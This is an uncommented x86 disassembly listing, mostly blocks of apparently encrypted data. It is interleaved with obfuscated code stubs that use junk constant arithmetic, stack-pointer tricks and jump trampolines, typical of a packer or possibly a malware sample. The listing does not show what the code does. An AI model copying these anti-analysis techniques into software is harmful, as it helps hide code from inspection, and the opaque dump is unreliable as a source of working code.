317D7D3Ch dd 2F348DA8h, 0FBA3043Bh, 3101FACEh, 0AC28298Eh, 45E2F9FAh dd 0F9FAAC14h, 93E876CDh, 0E067DC4Ah, 0AC97D861h, 0F14EF9FAh dd 143932E8h, 41A83130h, 5F07E35Ah, 0F6D7DD1Ch, 642AD190h dd 10B9382Fh, 0F7D2125Fh, 85E0AE2Dh, 8477CA50h, 316EEF3Eh dd 95428DA8h, 37768B17h, 7FE2FBBFh, 0A6E93C7Ah, 11AAF0E7h dd 2BB331C8h, 0BA8ACC47h, 810D8B4Ch, 2A7137A0h, 0F0B22CABh dd 4827589h, 0E7F31A13h, 1A53AAF0h, 0CD1570ADh, 9247B383h dd 1EDDDD1Eh, 8BC07590h, 8F1B05Eh, 0C8CE0948h, 2E2F38BDh dd 0EAA08B57h, 6C04EEFFh, 4731FCCh, 0E31958CFh, 4E0FA8DFh dd 87A08BEEh, 2D741FA8h, 3, 6E9DA751h, 96D92C68h, 81C05B61h dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h dd 0CF769519h, 0F2788307h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 38105601h xor edi, 24507AA5h add edi, 78EA7A0Ch neg edi and edi, 3D6B0FBBh xor edi, 1A101747h xor edi, 32511E53h add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push 568Dh mov [esp], edx push 5E89633h mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], ebx mov ebx, esi mov [edx+8], ebx pop ebx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 0B9h, 0CCh, 0A2h dd 0E89DB9B8h, 0FFC50305h, 7D4844E0h, 0FDA5F40h, 24946245h dd 276E710Eh, 4C53BF43h, 0C2C5D318h, 0CAFA286Bh, 0A71DAC18h dd 0B311AC11h, 0AA6DD05Dh, 3E07AE22h, 0E82CAF14h, 0C0C92F58h dd 344F291Dh, 0F4B5F48h, 5B47B17Fh, 0AD77B36h, 0FAFE3439h dd 0BC560340h, 5C5D3F6Ah, 0DB71E772h, 3B9E107Bh, 13E802h dd 0C7B40000h, 0B7F26A3Bh, 0A4954B5Eh, 24854FEh, 0BD85B8DAh dd 0F5BF87Eh, 0C381C7B7h, 7385h, 5A7BB866h, 0A07349B9h dd 0F4F18143h, 0E843A06Fh, 0Ch, 8B972997h, 78223524h, 339F2CA2h dd 66138B58h, 0C281F38Bh, 2D45598Ah, 35D68166h, 4BF28135h dd 816DD5DCh, 0D53B01C2h, 0EF81660Fh, 13892B04h, 6601EB83h dd 4B4BF78Bh, 11E9604Bh, 70000000h, 51861D3Bh, 0A4FDC047h dd 164D46A6h, 700C6AD5h, 0DB89BB66h, 1E98161h, 0F000000h dd 0FFFFAC85h, 0E8E58AFFh, 11h, 0E36B5058h, 94E03C7Fh dd 954653Dh, 0EB2BFF11h, 0DE902h, 3CF30000h, 917DB994h dd 33BBDFB5h, 5F6FB2AAh, 260DB966h, 5AEFC781h, 0B1BB0000h dd 0BE49E725h, 169Ah, 0DE9h, 0DF188200h, 85ED38A4h, 2371BE50h dd 178B0E36h, 8168E880h, 2D484FC2h, 0FEC28118h, 8121A538h dd 0B69EEDC2h, 4880F6Ch, 60000000h, 8961BFB5h, 7E917h dd 3D900000h, 46D6809h, 4EF83D0h, 943EABB8h, 850F4E4Ah dd 0FFFFFFC2h, 8DC88B66h, 0E8A04B8Dh, 893DB205h, 0E20BE98Dh dd 91850105h, 0C705E210h, 0E2076185h, 583005h, 0F3BF0F00h dd 1B5585C7h, 5E2h, 0BF0F0000h, 0D9B5FFF1h, 0F805E21Fh dd 0B1595FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 3485C9C3h, 3B9A5C25h, 84EAA8BFh dd 0F5BD0340h, 6A05E20Ah, 0B995FF00h, 8B05E20Ah, 0BA1DEBC0h dd 0AC336552h, 3B910B89h, 0F91C1A4Ch, 8D78534Eh, 7C2357A0h dd 0D9B0198Fh, 480FDC76h, 0A1138D8Dh, 816605E8h, 89829FE6h dd 0E20BE98Dh, 0C7D98A05h, 0E2076185h, 5FB405h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0F6D064B0h, 0FFE9E1Bh, 581h, 0DB816600h, 5E8A470h, 94000000h dd 559A1E7Dh, 168F0Fh, 11E90000h, 0A1000000h, 9818057Ch dd 71C22267h, 5567911Fh, 0F28C3A70h, 5585C75Ah, 5E21Bh dd 0F9000000h, 58C0F50h, 66000000h, 6C2CD081h, 0EDB5FF5Eh dd 0BE05E218h, 1CABF455h, 0B1595FFh, 0CCBA05E2h, 6A495204h dd 0B995FF00h, 8B05E20Ah, 8359EBC0h, 4DFA0D45h, 63873B82h dd 0AE41C505h, 5920918Eh, 990DAA14h, 0A7364A90h, 1C202EC8h dd 4A44463Fh, 9F068132h, 62E5482Dh, 0BC4F88EFh, 0B7924703h dd 0F07AB77Eh, 8481C01Bh, 0CB17F026h, 75ADB00Dh, 40C57A9Ah dd 31051B9h, 807D4E7Bh, 52E13328h, 0DE8DF63Ah, 6B4A8FD7h dd 0A1E58D8Dh, 0BD8905E8h, 5E205C9h, 0E98D89F8h, 6605E20Bh dd 85C7FE8Bh, 5E20761h, 6334h, 85C7F88Bh, 5E21B55h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D6C35545h dd 72D7CB71h, 81858B53h, 0FF05E230h, 0E20659B5h, 0B5896005h dd 5E21379h, 0FEFEF181h, 0FF614FEFh, 0E20B1595h, 0FF006A05h dd 0E20AB995h, 0EBC08B05h, 383EA66Ah, 0D7179C77h, 0C9AE829Eh dd 9B5CB4ADh, 0D48170C2h, 8172AD47h, 0D1122646h, 0A1DCF065h dd 1121EDBCh, 0DF514EC7h, 0E33C70E7h, 0B1E2B69Eh, 8FD1DC80h dd 0C706F924h, 78B0F2ADh, 7F8F3240h, 920CAC08h, 0FA59CEDEh dd 0CF7711F1h, 0F7FE9983h, 4CF07563h, 257305B9h, 0E0204261h dd 0E0165E48h, 4B7FC82Eh, 8EDCD64h, 0E8B5660Ah, 5, 1862C4D4h dd 65BD8BBFh, 5B05E217h, 6E67C381h, 78680000h, 8900001Bh dd 0E232FDBDh, 0B5015805h, 5E22409h, 0B5310B8Bh, 5E21D41h dd 5DAF181h, 952B2E8Dh, 5E226A9h, 0DF58E981h, 0F78158EDh dd 12A65C1Ch, 5F1EC181h, 0B533741Ah, 5E20E81h, 0F2816651h dd 38F9FD4h, 319CEB81h, 0C38175D2h, 75D23198h, 81D68B66h dd 1E8h, 0B1850F00h, 0E8FFFFFFh, 0Eh, 77A38A66h, 856DBB21h dd 0DAD1E1D0h, 0BA66F835h, 8D5FA7A7h, 0E8A35D8Dh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0BE711DDCh, 5F09FA99h, 2C51B503h, 816605E2h, 8959B8E8h dd 0E20BE98Dh, 0C6816605h, 85C7777Fh, 5E20761h, 70B8h dd 2870Fh, 0C18B0000h, 1B5585C7h, 5E2h, 3BF0000h, 0FF3E3ABFh dd 0E21D05B5h, 0D88B6605h, 0B1595FFh, 8B6605E2h, 0FF006AF2h dd 0E20AB995h, 0EBC08B05h, 0CAFB616Ch, 0B71A89DDh, 6A92C0F6h dd 9199ACE3h, 0F3425219h, 0F11854CEh, 0EB9A6C27h, 90B05A33h dd 0AAF37EDBh, 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0EAB8A9DFh dd 7882F820h, 291C2A02h, 1F23A8BEh, 0DDB8C213h, 0A97E513Fh dd 0A47BC129h, 316BAE54h, 3865897Eh, 690E5444h, 14D13A0h dd 8307E97Dh, 0BEA34391h, 85521A62h, 4AD7734Fh, 15FE943h dd 8B520000h, 0E860D4h, 5D000000h, 0A3DCED81h, 428B05E8h dd 38453D08h, 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 782BC1BBh dd 83C33328h, 858904E8h, 5E20BE9h, 8B04588Bh, 10428BF8h dd 0D3184A8Bh, 6617BEC8h, 0C6339792h, 0E083C72Bh, 4E883FCh dd 7618589h, 428B05E2h, 55858914h, 8B05E21Bh, 0E9531842h dd 0B0h, 18EDB5FFh, 0B9E905E2h, 0FF000000h, 0E210E5B5h dd 0AEE905h, 0B5FF0000h, 5E21FD9h, 0A3E9h, 61B5FF00h, 0E905E223h dd 98h, 659B5FFh, 8DE905E2h, 0FF000000h, 0E2325DB5h, 82E905h dd 0B5FF0000h, 5E21CD1h, 77E9h, 0FDB5FF00h, 0E905E221h dd 6Ch, 3249B5FFh, 61E905E2h, 0FF000000h, 0E21DF1B5h, 56E905h dd 0B5FF0000h, 5E23045h, 4BE9h, 79B5FF00h, 0E905E22Ah dd 40h, 1DC9B5FFh, 35E905E2h, 0FF000000h, 0E203DDB5h, 2AE905h dd 0B5FF0000h, 5E21D05h, 1FE9h, 0CDB5FF00h, 0E905E22Ah dd 14h, 0BB8D88Bh, 66000000h, 8D8DE3F7h, 5E8A43Dh, 0E1FFC803h dd 0B1595FFh, 8B5B05E2h, 0E20BE985h, 4583905h, 0F850Fh dd 6A530000h, 0B995FF01h, 5B05E20Ah, 0FFFFE2E9h, 0C35A61FFh dd 6AB85A61h, 0FF77D4C9h, 29858BE0h, 8D05E22Ch, 0E8A52B8Dh dd 1418905h, 0ABE9C38Bh, 50000000h, 1C3F2E8Dh, 0DA5F72B1h dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h dd 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h dd 0BCE1B6F6h, 0B3ED7293h, 1E80097h, 3D94E7A6h, 9FFA8332h dd 80E922D3h, 68000012h, 5E8A7FAh, 0F9DA12E9h, 0A8E568FFh dd 8E905E8h, 68FFF9DAh, 5E8A9C7h, 0F9D9FEE9h, 0AB2568FFh dd 0F4E905E8h, 68FFF9D9h, 5E8ABADh, 0F9D9EAE9h, 0AC5968FFh dd 0E0E905E8h, 68FFF9D9h, 5E8ACE3h, 0F9D9D6E9h, 0AD7E68FFh dd 0CCE905E8h, 68FFF9D9h, 5E8AE18h, 0F9D9C2E9h, 0AF4F68FFh dd 0B8E905E8h, 68FFF9D9h, 5E8B073h, 0F9D9AEE9h, 0B1AA68FFh dd 0A4E905E8h, 68FFF9D9h, 5E8B2D9h, 0F9D99AE9h, 0B4F768FFh dd 90E905E8h, 68FFF9D9h, 5E8B5DAh, 0F9D986E9h, 0B2F6E0FFh dd 0E5A15514h, 4C5088F9h, 0B6F4E346h, 1EA45928h, 39C7BF0h dd 7BCED4DAh, 0D5943280h, 0A7F9B27h, 3C3CFCDh, 1F1445E2h dd 40CDF9F0h, 23696E9Ah, 5A6099D8h, 0B296BBBCh, 0D84C2A8Fh dd 0E84701FAh, 23D3929Dh, 0EC0B0467h, 4139530Dh, 0EB3495C2h dd 0F9FA0B56h, 0FC330345h, 3FE6C121h, 5F0FCD8Ch, 3D54F86h dd 0C05B9034h, 29CD328Bh, 0F1000000h, 0D0577B18h, 0FAD1C777h dd 0DA211E01h, 0F990CE5Bh, 59167EABh, 0B20A2780h, 0DF19F9FAh dd 1E6DA0E7h, 13C23FE6h, 0E4000001h, 0A85E39AEh, 0BFD8E617h dd 0DAE3D860h, 49EE6297h, 0FC18A208h, 2C7068D9h, 0EA279CD9h dd 6C91E277h, 7EE657F0h, 403FFC18h, 27FC12D7h, 188CD182h dd 0FE2B00FCh, 0DE1F46EDh, 0CD0AB5D0h, 8CB3A405h, 0D079FC18h dd 0FC188C9Fh, 0E65DF9B6h, 9237B6A9h, 0FC188FA1h, 9BA23B70h dd 0FD199F58h, 0EB6CCD4Ch, 3AFC188Fh, 17137C4Dh, 55FC188Bh dd 89F8E6A4h, 36278050h, 34FC1883h, 0E15EC4C0h, 0FB9851B4h dd 9FF750D7h, 2D01FAD0h, 9B2C706Ah, 0A1AA300Fh, 495782BCh dd 0BDCC6D1Ch, 50041F07h, 0CDF3641Bh, 76234230h, 0D8CF3D4h dd 11C74A9Ch, 18A1FBDAh, 0F01EA459h, 0F69A4CB1h, 0EFFF6963h dd 4ABBDCh, 0ADFBDED1h, 50020B70h, 0E085FE7Dh, 0FD581h dd 26629400h, 890DC9B8h, 0F0BC3C0Dh, 5A6097EAh, 8210CDBCh dd 0B708EF04h, 0EF527846h, 4938A6ECh, 0BE830F93h, 6F577339h dd 1E80B116h, 2C51F9F0h, 0ED6D6EEEh, 18B90B4Ch, 306DDAFCh dd 6422D7AAh, 7B18707Eh, 8A119D5Dh, 52151441h, 5BC6E7A5h dd 0FAD17CFEh, 0A9D89701h, 76A9EFE6h, 6DEE3D83h, 0DB68315Ch dd 0C8F9FAA1h, 9E73B68Eh, 0D3FE62Bh, 0C3h, 23696E31h, 5E6499D8h dd 0BDC462CFh, 0B324FC18h, 3225716Eh, 99D8E113h, 0CDBC5A60h dd 72E3440Ch, 0A3FC1867h, 0B30C9FD4h, 2287BAAEh, 1FA34E8h dd 162E9700h, 4A80C31Dh, 73F80391h, 0B5A60306h, 6CF9FBDAh dd 0D150B617h, 0FBDAC788h, 0B3A405F9h, 62F9FBDAh, 0C5320915h dd 5D711ED9h, 0AE98D2Ah, 4B20041Eh, 5A6895D4h, 8210CDBCh dd 7D222A65h, 157C09FEh, 0EEAh, 4D494D8Bh, 16BCF8FCh, 0FF1BA753h dd 414D4B8Ah, 29B5FBE0h, 31AAF392h, 0D7026763h, 7E7CCDC9h dd 24D59432h, 0D747866h, 0F011ABACh, 0F33B7AF9h, 0BB276D6Eh dd 0F8B11C6h, 9DDE7BFAh, 6FFC18B9h, 4D3A206Eh, 4AD1DF1Ah dd 6EC2B801h, 99D82369h, 0CDBC5A60h, 3B7A810Dh, 0B95E1FB8h dd 0AE2CFC18h, 34529BE2h, 0F6E36E7Fh, 43362AB0h, 3F22060Bh dd 0FAC31C9Ah, 88F8B701h, 40E193AFh, 0B93E61F6h, 0C11EAF3h dd 1A62958h, 1748550h, 0E027578Ch, 915CB2Ah, 0C166A932h dd 0FC96E761h, 87C81190h, 85FF5686h, 84315452h, 797EA19Eh dd 4AA7C633h, 3F7EE1C5h, 2CA9FCBAh dd 5FB3149Bh, 0F602B00Ch, 365D673h, 0C7BCF52Bh, 23D4978Ah dd 0C5206E6Fh, 0CABF5B90h, 0F628F0Dh, 1A01117Bh, 0E08240Fh dd 2FA90000h, 0DA1A6F6Bh, 897130DEh, 2DA89905h, 0DD1E636Fh dd 0D5BCCBD7h, 18D13C8h, 0EFEBB920h, 0B65C609Ah, 1A8006F3h dd 0CD8E2B5Ah, 4F9F010h, 696EDD19h, 62EFD823h, 0CF58DB4Eh dd 3F4BF15h, 23229485h, 5F8BD4F5h, 0ED01FAFAh, 0CED0557Ch dd 0DE1DB470h, 0CB00B5D0h, 33DF94F2h, 30371B38h, 18B2CF97h dd 1269C604h, 1BA95013h, 29724B80h, 0F7DC2A14h, 9FEEB226h dd 801BA154h, 0F2463E28h, 0CB6CEFAEh, 0F7DC2A8Ah, 0B2D09556h dd 212D839Eh, 0F7169A40h, 0B6B00946h, 81964BBEh, 613545C8h dd 0B2000000h, 847033h, 66D770E5h, 64F7DCDBh, 9BD02B71h dd 432780FFh, 0D0577B18h, 0C8892E51h, 19FC18B9h, 0C1309922h dd 1401FB05h, 8D18A655h, 0FB6C1348h, 5A10B00Bh, 852225D0h dd 0F9FAE8D4h, 6A95360Dh, 0E1EDB12Bh, 0FAE8CB66h, 0BA00F9F9h dd 0E3AF2D1Ch, 0D10B998h, 0E1760000h, 3B4BC0A8h, 3F0BDC6Ah dd 0D0577B18h, 15FE577h, 0DC433802h, 0FC7DDA5Dh, 15F9F01Fh dd 15C28D5Eh, 0C1360B97h, 0CA57A0FBh, 51C663E6h, 8807E9F8h dd 0CCD8CB3h, 21D89B8Eh, 0FAC30893h, 1ADA9D2Ch, 0FDCE0F9Eh dd 78572h, 0C9129841h, 0E4C855A2h, 9F16C465h, 72C90A2Bh dd 91CE1E35h, 39186DF8h, 0CAAh, 8D098D4Bh, 567C38BCh, 3FDBE713h dd 810D8B4Ah, 69753BA0h, 716A33D2h, 17C2A723h, 0BE3C0D89h dd 6495D4F2h, 4DB4B826h, 0F0126BECh, 33FBBAF9h, 18B9FB88h dd 218609FCh, 0FC18B930h, 86818AE1h, 0DC2A96Bh, 0EA774099h dd 0B9E643C6h, 0D002017Bh, 34A5E49Bh, 44B0F376h, 17B02540h dd 3959CE73h, 0BC2F2AC7h, 6C450F08h, 3259A972h, 6B31A6A9h dd 96BAA710h, 62903693h, 0FC4B0412h, 7A7C96B7h, 0E54CD9FEh dd 0C22h, 759115C3h, 0DEC4C034h, 0A7236F6Bh, 99513C2h dd 0D1FDC338h, 0F9E2BB5Ah, 9F5A2FABh, 46B4F511h, 0ECED5C7Ah dd 0C53C20AEh, 0F012F364h, 0BB6322F9h, 0D823696Eh, 0C35A6099h dd 3B473FA9h, 0B95E1FB8h, 0B8F7FC18h, 0FC61B2Fh, 0E4673A04h dd 18B11243h, 0DDE318FCh, 2A010D4Eh, 6276C91h, 18560000h dd 51D0577Bh, 6EAE3D38h, 0D98CFAh, 1C86FA7h, 0B6A98602h dd 4807437h, 0EC5374E1h, 6A30A7EBh, 27D0913Dh, 3D1A61h dd 44F9F185h, 0F574EBDFh, 244745B2h, 68A70B7h, 0D68E5CA5h dd 0CAA10413h, 79C77AADh, 0C5ACF9FEh, 0B76h, 0D9C5C137h dd 0A2286C68h, 0B971BDFh, 0DDF9BF36h, 0A5216F6Ch, 0A556670Eh dd 4B8EF31Fh, 0F2E85945h, 984120AEh, 0B9C8F412h, 0F0155F10h dd 4F8FF6F9h, 0D823696Eh, 0C35A6099h, 0C0473FA9h, 3A040F0Dh dd 594A2h, 0FB888400h, 0BFFC18B9h, 88BBE92h, 0B92F2089h dd 89E6FC18h, 831A9E56h, 0BE28714Ah, 4A02015Eh, 0FBCCD20Bh dd 0EE51D0AFh, 4227A3E9h, 3BF41795h, 0AA0F3216h, 4124F3Ch dd 561398D7h, 51FE7A5Ch, 0AEC6D34h, 4B8D0000h, 0F6FE434Fh dd 0A55514B2h, 498CFD19h, 0F9E24743h, 0F1902FABh, 65612FACh dd 0C3CFD504h, 0AA307C7Eh, 7E6422D7h, 0A9AA0F76h, 78F9F015h dd 0EFAEF135h, 5619A2E8h, 41801BA1h, 618B1298h, 45980FE7h dd 0EA3A040Fh, 505h, 5D7B18DCh, 0D911CD9Dh, 0EA12512Ah dd 78C140BDh, 201BE99h, 178087FCh, 0E15891EBh, 820DDE4Dh dd 0A9016C3h, 0DCEC237h, 70F76487h, 0F16A66D7h, 8BC0BFF9h dd 6A1A1770h, 315EF9F1h, 19CD6A1Dh, 30041339h, 2E2D3E7Bh dd 297CFE79h, 0A5146h, 0A2E61000h, 15914524h, 7C40B889h dd 0A6E41356h, 0E944938h, 338C6B80h, 6BDEC4CAh, 0C5A42270h dd 3A0F8B17h, 13D3FFBDh, 14043592h, 50DDF9F0h, 23696E6Ah dd 3D797D3Ch, 5102A7EEh, 80FC18B9h, 6ECB7EABh, 0FC18B9EDh dd 0D77E4F24h, 0DE2D6B6Ch, 0F53C08BEh, 3A040F18h, 0B907F2B5h dd 453E320h, 88C70000h, 0FC18B9C6h, 84BBAFB4h, 15EB923h dd 681F5402h, 0ECEAB029h, 33945C9Dh, 0F9F01C02h, 0DC2F64D3h dd 0D74A7EE3h, 12493472h, 0EB106F04h, 0FE7A5BD2h, 0B7D1B0D5h dd 76000009h, 0AB9E0480h, 1E636F2Bh, 79C8D6DAh, 0AF92387Eh dd 0CD7A602Eh, 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h dd 0DF7889B5h, 0F9F0179Eh, 0AE0CCEB7h, 0BAE73B39h, 34D9723Eh dd 46B4EB39h, 0F9FE617Ah, 0F0E968B3h, 0E78EAC76h, 0A6136720h dd 0B98D2F47h, 800E8C4Dh, 48D479Ah, 2467E63Ah, 1F50E9B7h dd 36FC18CFh, 0CFD50679h, 61AE3FBCh, 12Bh, 23696E45h, 0E21659D8h dd 95420DDEh, 0AC511017h, 755687E6h, 95B9A691h, 0D8613592h dd 0C3B801FAh, 0A6A2DFB8h, 37B1F9FAh, 2E15C83Fh, 44BA3FE6h dd 8C000000h, 0A1EDEFAEh, 0E222F18h, 0D1BCBE1Bh, 125701FAh dd 1C6FA4E8h, 0FAA13E33h, 0C3C90CF9h, 1F50F9B8h, 36F9FAA1h dd 0CDD30679h, 0E152F7BEh, 30F9FAA1h, 0C1B5377Bh, 0D7AF297Fh dd 0E62B7D50h, 98D23Fh, 6E140000h, 0E8AE2969h, 8B3F589Dh dd 63688B1h, 0C6099CC9h, 0F57C8F15h, 0FC678604h, 0B611BDFBh dd 0FC18CF80h, 0B5515780h, 0B6A99D82h, 0FD3F8311h, 4AEF1201h dd 0F9FDBF09h, 4FCBD703h, 0C584BBF0h, 3D0C8A18h, 0AAB5F2C0h dd 0A904602Dh, 88075DCh, 0B7210000h, 6292D7F3h, 11C9B826h dd 0B520018Dh, 6596EBF7h, 5D04B35Fh, 89159B40h, 577341B8h dd 3EA4E812h, 82088E4Bh, 5506A3C2h, 8CF9F016h, 6D6E4581h dd 11C6BB27h, 9C5F5981h, 942D916h, 0F1EAADDCh, 0CA1358A3h dd 39AE16DCh, 2AA44B83h, 85CC1DFDh, 8C375654h, 90474Bh dd 2C99D6DAh, 27F23A6h, 0AE5B0000h, 2FABEDEFh, 66D31863h dd 6C1E23F5h, 8526D181h, 0A65FA7ACh, 2A78637Dh, 5B317421h dd 3CDE7BEEh, 0D701FA0Ah, 0F240D98h, 1CF9FA6Bh, 6AA7EADAh dd 0C13FE6E5h, 229h, 0B9C488E5h, 9700FC18h, 3B72BAD5h dd 0C2BB0C70h, 2177635Dh, 2697F6BCh, 0A8DBCE9h, 0D1098F4Bh dd 0C07590CDh, 0DD4C9EE7h, 54E70201h, 0FBE426h, 9FDB99B2h dd 0ED5DC750h, 0E2E489CAh, 6F3B2B5h, 0B2271A80h, 5961A93Eh dd 158F2622h, 0F1DB0334h, 2865D2F9h, 397F7639h, 853AB5E2h dd 4432AFD5h, 5A97BE0Fh, 938ACD35h, 6BA6DCB5h, 58AE0B3Eh dd 0A8041367h, 11AAF0E9h, 9071BEF5h, 5BFE7974h, 75C67CEh dd 0DB1D0000h, 864E33DFh, 35A58402h, 0D91C6D69h, 897237D3h dd 81609F3Bh, 0D5F1BF3Ch, 0B35F6594h, 1A800CCEh, 0EEF4B227h dd 393A9FE6h, 0E8F9F009h, 696E61A5h, 0B90F40E9h, 69C6FC18h dd 2E9C0D3Ch, 4F403508h, 5DFB7CDDh, 5D2AFC18h, 35BCC7E0h dd 0FA7C6C4h, 6C6DD9ADh, 27FAA02Eh, 843A04F7h, 141h, 23696EBEh dd 5A6099D8h, 8D4A0DBCh, 0C87FFC0Fh, 18B9EE6Fh, 7F4827FCh dd 0EB699986h, 0F0DC9C8Ah, 5AFF62DFh, 1FA9A7Ch, 0E44DD897h dd 0F9FAD84Fh, 0E72A1A5Ch, 3FE6702Ah, 2781h, 7B18A500h dd 0C777D057h, 1E01FAD1h, 7B8520FDh, 0D5024049h, 1A54E9B6h dd 147F9FAh, 0B61FF235h, 0C28C3FE6h, 0B6000000h, 0D823696Eh dd 2B5E6499h, 0D92C7068h, 0A1204B9Ch, 0A82B7238h, 0FA6D692Fh dd 0FC190B6Ch, 0F11D9B5Ch, 0F27559C6h, 2F644465h, 0A23B3798h dd 3ABDFC7Fh, 1BAC297Ch, 0FD9522B2h, 8386FD01h, 92951BC0h dd 0E16026D3h, 0FD141758h, 6871CEF9h, 3E9A0FB2h, 33E2218Dh dd 0CF17049h, 0BF9B4D8Ch, 79C3A448h, 6BE03B70h dd 0BC0AF13Eh, 84E1045Fh, 625BDh, 9612C400h, 0F9BD3908h dd 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch, 0E7B85FD4h, 5F22A8F6h dd 0B988169Ch, 0EE537F43h, 3F27A3E9h, 8F061C6h, 7C21F9F0h dd 276D6EBEh, 8B11C6BBh, 83B41594h, 89FC18B9h, 0BF3C4F53h dd 4A5A493h, 0FC18B953h, 7614B582h, 23696E48h, 0E51659D8h dd 14451F03h, 3C692F9Eh, 145B6CE9h, 0A839A5E3h, 1Dh, 23696ED2h dd 866099D8h, 375912CEh, 6CBFF4DBh, 22906426h, 76EBF7B5h dd 21h, 0E7EFAE8Ch, 33797CA3h, 175A63E8h, 0F841A4E2h, 0FC18B94Ah dd 0EB572F19h, 0F6B9A8EEh, 7A20B9FFh, 23696E7Ch, 4E62EFD8h dd 5FDE7EDBh, 0A6310201h, 6565010Ah, 62E55279h, 0EAF0B623h dd 0DAE61457h, 8EB10A43h, 79384349h, 0E2FBC136h, 21200409h dd 0B1FDFFBEh, 7FD8E16Ah, 7E9243Ah, 96363853h, 0E47539A3h dd 9AD77AE4h, 0D0F364E7h, 0C0E147EDh, 0D1064992h, 0FBBACFCBh dd 252CBD01h, 5A97F6B4h, 0EF6E1135h, 1B622EACh, 2AA009D2h dd 0ED0A2BA1h, 347AFB5Ch, 0DCABEDABh, 0F4216D6Dh, 91A6CE8Fh dd 9DE481F8h, 4F6h, 594541B7h, 22A8ECE8h, 8B179B5Fh, 5D793FB6h dd 25A1EFECh, 25D6E78Eh, 0CB0E739Fh, 7268D9C5h, 18C1A02Eh dd 39487492h, 0F00BDF90h, 0CF0F76F9h, 6BFF696Eh, 0B6FAFE38h dd 4275E657h, 26AE119Eh, 65D21B62h, 0C3CF0879h, 0CC5F941Ah dd 0D3565485h, 85266A90h, 622544FEh, 0AA943573h, 2D6B6CDAh dd 6626FBA1h, 58853A04h, 0B9000000h, 0D0577B18h, 0FB053877h dd 63E65D01h, 0F22ABA20h, 57D815C2h, 4C377B73h, 0E0A111CBh dd 0E754B7F5h, 388677AAh, 973368EDh, 0FAF93D34h, 2CE0BF9h dd 0FAF9B4A5h, 0DC1C6DF9h, 0A02E9BD0h, 74971BC1h, 585A9C0Dh dd 0E0E97B01h, 8397D861h, 0F14EF9FAh, 43489E8h, 6EBD0000h dd 99D82369h, 0BBBC5A60h, 1A8FB296h, 22E84273h, 0E52CBDBFh dd 0FAFA7644h, 4BD2A901h, 0FAF851EEh, 300442F9h, 17934302h dd 2B2C8DF4h, 0FAF9FAF8h, 0F377508Dh, 3FE6501Eh, 870DCC8Fh dd 66F926h, 0AECD0000h, 0B9C98A2Fh, 18C3FC18h, 16B78C8Ah dd 0E216305Dh, 0B982B314h, 0E453FC18h, 0E6155CAFh, 333663D8h dd 0B92617B0h, 80FFFC18h, 3679F827h, 83ECFDC3h, 1FAD1D3h dd 89D63502h, 0F9FAA1F4h, 7F8E12C6h, 6DB804F4h, 0D4643B34h dd 2585E6F2h, 93F54B3Bh, 0F32E6155h, 5A3FE61Fh, 48D3DF1Bh dd 0F675BA03h, 49000000h, 50FF696Eh, 6F3ECFC7h, 0AE1174A1h dd 0DD04672Dh, 0A8EB9E1Ch, 0DC196C30h, 0F8E1600Bh, 27F3DB8h dd 0CF274384h, 42C5FC18h, 18CF74E5h, 0F5D6ADFCh, 64C58D4Ah dd 0FC18CFF3h, 109E5F22h, 2F7564DBh, 0C80C4FF2h, 3DE0B9CCh dd 6C103EF7h, 45419AD7h, 34726524h, 1C4364D1h, 0EBAADDDBh dd 1F5CAFEBh, 0C54AA7CEh, 0B83F7EE1h, 1A6E9F2h, 1FA5001h dd 0AADFFBB0h, 529FC93Dh, 0BA035A7Ch, 0F9685CC1h, 1FA5C250h dd 0E4145504h, 0BDFC63D8h, 4CCF7240h, 0DFC56AEBh, 0FBCCBBF7h dd 1BDB9A2Fh, 0C1246295h, 0C38E5F94h, 0A86F941Ah, 6BFE7DB7h dd 2D8371Eh, 5F990000h, 0ACABF5Bh, 0B921008Eh, 5D98E9F5h dd 0DCEB35Fh, 5EC1B87h, 517D43B8h, 3FDBE910h, 860C904Ah dd 6A7036A3h, 0BDBE1B6Ah, 54F9F00Dh, 6D6EED29h, 85E0AE2Dh dd 0A5E91150h, 32D81546h, 860C8A4Fh, 8A2FAED8h, 0FC18B9C9h dd 0A19A2318h, 309988BCh, 1FAD13Eh, 246890D1h, 0BEB39CEFh dd 0ADF9FAA1h, 0F9D45B2Bh, 563FE62Bh, 0B3h, 23696E68h dd 5E6499D8h, 0BDC462CFh, 0F3E4FC18h, 9F5829B5h, 28358219h dd 95420504h, 6647F417h, 0FEF9B83Bh, 0DFE86DB8h, 0FAD39476h dd 6895D401h, 0E740C35Ah, 0F9FA9B76h, 249BD0AFh, 5A93EAB6h dd 0A02E0581h, 498CAAB7h, 44B93843h, 55D4017Eh, 1F4B7DF4h dd 0A4DB9004h, 2CAAF8E5h, 911FDA9Dh, 86E5AB2Eh, 10CD7455h dd 619C6582h, 0FA8FFE7Eh, 